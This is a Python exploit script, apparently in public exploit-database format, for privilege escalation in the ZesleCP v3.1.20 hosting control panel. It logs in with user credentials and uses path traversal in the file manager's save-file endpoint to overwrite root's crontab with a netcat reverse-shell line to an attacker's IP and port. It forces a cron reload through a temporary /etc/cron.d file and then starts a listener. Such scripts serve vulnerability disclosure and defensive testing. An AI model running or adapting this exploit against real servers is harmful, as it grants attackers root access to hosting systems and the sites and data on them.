################################################################################################################################################################
# Exploit Title: ZesleCP v3.1.20 - Privilege Escalation
# Exploit Author: Ahmet Ümit BAYRAM
# Date: 09.11.2024
# Vendor Homepage: https://zeslecp.com
# Tested on: Ubuntu 20.04
# Privilege Escalation Exploit for ZesleCP Hosting Control Panel
# This exploit leverages a path traversal vulnerability in the file editing functionality of the ZesleCP file manager.
# The exploit utilizes this vulnerability to modify the root user's cron file, creating a cron job that runs with root privileges.
# Although edited with user-level privileges, files manipulated through the 'file_path' parameter retain their original ownership.
# This allows unauthorized editing of root-owned files, such as the cron file located in `/var/spool/cron/crontabs/root`.
# The exploit places a reverse shell payload in this file to establish a reverse shell connection to the attacker's specified IP and port.
# Since the cron service requires a restart to run the new job, the exploit creates and then deletes a temporary cron job in the `/etc/cron.d` directory.
# This process triggers a cron service refresh, enabling the reverse shell command to execute successfully.
import requests
from requests.sessions import Session
import subprocess
import urllib3
import time
# Disable SSL Warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Get user input
host = input("Enter ZesleCP IP address: ")
zeslecp_port = input("Enter ZesleCP port (default 2087): ")
zeslecp_port = 2087 if zeslecp_port == "" else int(zeslecp_port)
username = input("Enter username: ")
password = input("Enter password: ")
reverse_ip = input("Enter your reverse shell IP address: ")
reverse_port = int(input("Enter your reverse shell port: "))
# URL settings
login_url = f"https://{host}:{zeslecp_port}/login"
save_file_url = f"https://{host}:{zeslecp_port}/file-manager/save-file"
trash_file_url = f"https://{host}:{zeslecp_port}/file-manager/trash"
# Start session
session = Session()
session.verify = False # Ignore SSL warnings
def login():
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/plain, */*"
}
data = {
"username": username,
"password": password,
"locale": ""
}
response = session.post(login_url, headers=headers, json=data)
if response.status_code == 200 and "zeslecp_session" in response.cookies:
print("[+] Login successful.")
session.cookies.update(response.cookies)
return True
else:
print("[-] Login failed.")
return False
def create_temp_cron_file():
# Create a temporary cron file to trigger cron refresh
temp_cron_payload = (
"# Temporary cron file for triggering reload\n"
"* * * * * echo 'temp' > /dev/null\n"
)
data = {
"file_path": "../../../../../../etc/cron.d/temp_trigger",
"data": temp_cron_payload
}
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/plain, */*",
"Referer": f"https://{host}:{zeslecp_port}/file-manager",
}
response = session.post(save_file_url, headers=headers, json=data)
if response.status_code == 200:
print("[+] Temporary cron file created successfully.")
return True
else:
print("[-] Failed to create temporary cron file.")
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
return False
def delete_temp_cron_file():
# Delete the temporary cron file
data = {
"files": [{"path": "../../../../../../etc/cron.d/temp_trigger", "type": "file"}]
}
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/plain, */*",
"Referer": f"https://{host}:{zeslecp_port}/file-manager",
}
response = session.post(trash_file_url, headers=headers, json=data)
if response.status_code == 200:
print("[+] Temporary cron file deleted successfully.")
return True
else:
print("[-] Failed to delete temporary cron file.")
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
return False
def modify_cron_for_reverse_shell():
cron_payload = (
"# DO NOT EDIT THIS FILE - edit the master and reinstall.\n"
"MAILTO=\"\"\n"
f"* * * * * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {reverse_ip} {reverse_port} >/tmp/f\n\n"
)
data = {
"file_path": "../../../../../../var/spool/cron/crontabs/root",
"data": cron_payload
}
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/plain, */*",
"Referer": f"https://{host}:{zeslecp_port}/file-manager",
}
response = session.post(save_file_url, headers=headers, json=data)
if response.status_code == 200:
print("[+] Cron job with reverse shell added successfully.")
return True
else:
print("[-] Failed to modify cron file.")
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
return False
# Start listener with verbose output
def start_listener():
print(f"[+] Starting reverse shell listener on port {reverse_port}...")
listener_command = f"nc -vv -l -p {reverse_port} -n"
subprocess.run(listener_command, shell=True)
def main():
if not login():
exit(1)
if modify_cron_for_reverse_shell():
if create_temp_cron_file():
time.sleep(2) # Wait 2 seconds after creating the file
if delete_temp_cron_file():
print("[+] Cron should now be refreshed, and reverse shell job active.")
start_listener() # Start listener after cron reload is triggered
if __name__ == "__main__":
main()